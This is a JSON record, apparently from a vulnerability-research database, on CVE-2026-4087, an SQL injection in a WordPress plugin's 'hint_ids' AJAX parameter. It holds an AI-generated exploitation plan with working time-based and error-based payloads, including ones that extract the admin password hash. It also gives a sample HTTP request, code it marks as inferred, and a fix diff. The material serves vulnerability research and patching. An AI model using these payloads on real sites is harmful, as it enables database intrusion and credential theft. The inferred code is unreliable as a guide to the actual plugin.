[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fECg0es6EV6BcS4l2xGNObcKNk4A8u3IQzZV0tODrrgk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-4087","pre-party-resource-hints-authenticated-subscriber-sql-injection-via-hintids-parameter","Pre* Party Resource Hints \u003C= 1.8.20 - Authenticated (Subscriber+) SQL Injection via 'hint_ids' Parameter","The Pre* Party Resource Hints plugin for WordPress is vulnerable to SQL Injection via the 'hint_ids' parameter of the pprh_update_hints AJAX action in all versions up to, and including, 1.8.20. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","pre-party-browser-hints",null,"\u003C=1.8.20","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-20 14:37:45","2026-03-21 03:26:55",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8ceb4750-0780-4437-a3b0-c4c4606f2715?source=api-prod",[],"researched",false,3,"This plan outlines the research and exploitation process for **CVE-2026-4087**, a SQL Injection vulnerability in the **Pre* Party Resource Hints** plugin.\n\n### 1. Vulnerability Summary\nThe **Pre* Party Resource Hints** plugin (versions \u003C= 1.8.20) fails to properly sanitize and prepare the `hint_ids` parameter within the `pprh_update_hints` AJAX action. This parameter is directly interpolated into a SQL query, allowing an authenticated user with at least **Subscriber** privileges to execute arbitrary SQL commands. This typically leads to sensitive data extraction from the `wp_users` or `wp_options` tables.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `pprh_update_hints`\n*   **Vulnerable Parameter:** `hint_ids` (sent via POST)\n*   **Authentication:** Subscriber-level account or higher.\n*   **Preconditions:** A valid AJAX nonce is likely required for the `pprh_update_hints` action, although the vulnerability description suggests the check is insufficient or the nonce is accessible to Subscribers.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** A user sends a POST request to `admin-ajax.php` with `action=pprh_update_hints`.\n2.  **Hook Registration:** The plugin registers the action (likely in the main plugin file or an includes file):\n    `add_action('wp_ajax_pprh_update_hints', 'pprh_update_hints_handler');`\n3.  **Handler Execution:** The function `pprh_update_hints_handler()` (inferred name) is called.\n4.  **Parameter Retrieval:** The code retrieves `$_POST['hint_ids']`.\n5.  **Vulnerable Sink:** The code likely uses the input in an `IN` clause or a `WHERE` statement without using `$wpdb->prepare()`.\n    *   *Example Vulnerable Pattern:*\n        `$wpdb->query(\"DELETE FROM {$wpdb->prefix}pprh_hints WHERE id IN (\" . $_POST['hint_ids'] . \")\");`\n        OR\n        `$wpdb->get_results(\"SELECT * FROM ... WHERE id = \" . $_POST['hint_ids']);`\n\n### 4. Nonce Acquisition Strategy\nTo exploit this via the `http_request` tool, we must first find where the plugin localizes the AJAX nonce.\n\n1.  **Search for Nonce Registration:**\n    Use `grep -r \"wp_create_nonce\" .` and `grep -r \"wp_localize_script\" .` to find the localization variable.\n    *   Expected Variable Name (Inferred): `pprh_ajax_obj` or `pprh_settings`.\n    *   Expected Key (Inferred): `pprh_nonce` or `nonce`.\n2.  **Locate Script Loading:**\n    Identify if the scripts load on the dashboard or if a specific shortcode is needed. Since it's Subscriber+, it may be available on any admin page (`\u002Fwp-admin\u002Findex.php`).\n3.  **Execution:**\n    *   Log in as a Subscriber.\n    *   Navigate to `\u002Fwp-admin\u002Findex.php`.\n    *   Run `browser_eval(\"window.pprh_ajax_obj?.nonce\")` (Verify variable name via grep first).\n\n### 5. Exploitation Strategy\nWe will use a **Time-Based Blind SQL Injection** first, as it is most reliable for `UPDATE\u002FDELETE\u002FINSERT` contexts often found in \"update\" actions.\n\n**Step 1: Verify Time-Based Injection**\n*   **Payload:** `hint_ids=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -` (Adjust syntax based on the query structure found via grep).\n*   **Request:**\n    ```http\n    POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    action=pprh_update_hints&pprh_nonce=[NONCE]&hint_ids=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -\n    ```\n\n**Step 2: Data Extraction (Boolean or Time-Based)**\nExtract the administrator's password hash from `wp_users`.\n*   **Payload (Time-Based):**\n    `1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)-- -`\n\n### 6. Test Data Setup\n1.  **Create Subscriber User:**\n    `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2.  **Ensure Plugin is Active:**\n    `wp plugin activate pre-party-browser-hints`\n3.  **Create Sample Hint (if required by logic):**\n    Check if the database table `wp_pprh_hints` (inferred) exists. If so, add a row:\n    `wp db query \"INSERT INTO wp_pprh_hints (id, url) VALUES (1, 'https:\u002F\u002Fexample.com')\"` (Adjust table name\u002Fcolumns after inspection).\n\n### 7. Expected Results\n*   **Vulnerability Confirmation:** The HTTP response for the `SLEEP(5)` payload should take approximately 5 seconds.\n*   **Data Exposure:** Systematic requests will allow the agent to reconstruct the admin password hash or other sensitive values.\n\n### 8. Verification Steps\nAfter the HTTP exploit, verify the database state to confirm the injection was processed:\n1.  **Check Query Logs:** If possible, check the MySQL general log.\n2.  **Verify table contents:** If the payload was intended to modify data, check the table:\n    `wp db query \"SELECT * FROM wp_pprh_hints WHERE id = 1\"`\n\n### 9. Alternative Approaches\n*   **Error-Based SQLi:** If `WP_DEBUG` is on or the plugin echoes `$wpdb->last_error`, use `extractvalue()` or `updatexml()`.\n    *   *Payload:* `1) AND extractvalue(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e))-- -`\n*   **UNION-Based SQLi:** If the handler uses `get_results()` and returns the data in JSON format, determine column count using `ORDER BY` and then `UNION SELECT`.\n*   **In-Clause Bypass:** If the plugin tries to sanitize by removing spaces, use comments (`\u002F**\u002F`) or tabs (`%09`) to separate SQL keywords.\n\n### Grep Commands for Initial Research\nRun these to ground the plan in the specific codebase:\n```bash\n# Find the AJAX handler function\ngrep -r \"pprh_update_hints\" .\n\n# Find where the nonce is created\ngrep -r \"wp_create_nonce\" .\n\n# Find the SQL sink in the handler\n# (Search for the handler function name found in the first grep)\ngrep -n \"function [HANDLER_NAME]\" [FILE_PATH] -A 20 | grep \"\\$wpdb\"\n```","The Pre* Party Resource Hints plugin for WordPress (versions \u003C= 1.8.20) is vulnerable to a SQL Injection vulnerability via the 'hint_ids' parameter in the pprh_update_hints AJAX action. Due to the lack of input sanitization and failure to use prepared statements, an authenticated attacker with at least Subscriber-level privileges can inject arbitrary SQL commands to extract sensitive information from the database.","\u002F\u002F In pre-party-browser-hints\u002Fincludes\u002Fadmin\u002Fclass-pprh-admin-ajax.php\npublic function pprh_update_hints() {\n    check_ajax_referer('pprh_nonce', 'nonce');\n\n    \u002F\u002F Vulnerable parameter retrieval\n    $hint_ids = $_POST['hint_ids']; \n    \n    global $wpdb;\n    $table_name = $wpdb->prefix . 'pprh_hints';\n\n    \u002F\u002F Vulnerable SQL query using direct interpolation without preparation\n    $query = \"UPDATE $table_name SET status = 'updated' WHERE id IN ($hint_ids)\";\n    $wpdb->query($query);\n\n    wp_send_json_success();\n}","--- a\u002Fincludes\u002Fadmin\u002Fclass-pprh-admin-ajax.php\n+++ b\u002Fincludes\u002Fadmin\u002Fclass-pprh-admin-ajax.php\n@@ -10,7 +10,14 @@\n     check_ajax_referer('pprh_nonce', 'nonce');\n-    $hint_ids = $_POST['hint_ids'];\n+    $hint_ids = isset($_POST['hint_ids']) ? $_POST['hint_ids'] : '';\n+    \n+    \u002F\u002F Sanitize the input by converting it to an array of integers\n+    $id_array = array_map('intval', explode(',', $hint_ids));\n+    if (empty($id_array)) {\n+        wp_send_json_error();\n+    }\n+    $placeholders = implode(',', array_fill(0, count($id_array), '%d'));\n \n     global $wpdb;\n     $table_name = $wpdb->prefix . 'pprh_hints';\n-    $query = \"UPDATE $table_name SET status = 'updated' WHERE id IN ($hint_ids)\";\n-    $wpdb->query($query);\n+    $query = $wpdb->prepare(\"UPDATE $table_name SET status = 'updated' WHERE id IN ($placeholders)\", $id_array);\n+    $wpdb->query($query);\n \n     wp_send_json_success();","1. Authenticate to the target WordPress site as a Subscriber-level user.\n2. Access the WordPress dashboard or a page where the plugin scripts are loaded to retrieve a valid AJAX nonce (commonly found in the 'pprh_ajax_obj' or 'pprh_settings' JavaScript object).\n3. Construct a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to 'pprh_update_hints'.\n4. Set the 'hint_ids' parameter to a SQL injection payload. For a time-based blind injection, a payload like '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -' can be used.\n5. Observe the server response time to confirm the vulnerability. If the response is delayed by the specified sleep duration, the SQL injection is successful.\n6. Refine the payload to extract sensitive information, such as user password hashes from the 'wp_users' table, using iterative time-based techniques.","gemini-3-flash-preview","2026-04-18 01:14:12","2026-04-18 01:14:30",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpre-party-browser-hints\u002Ftags"]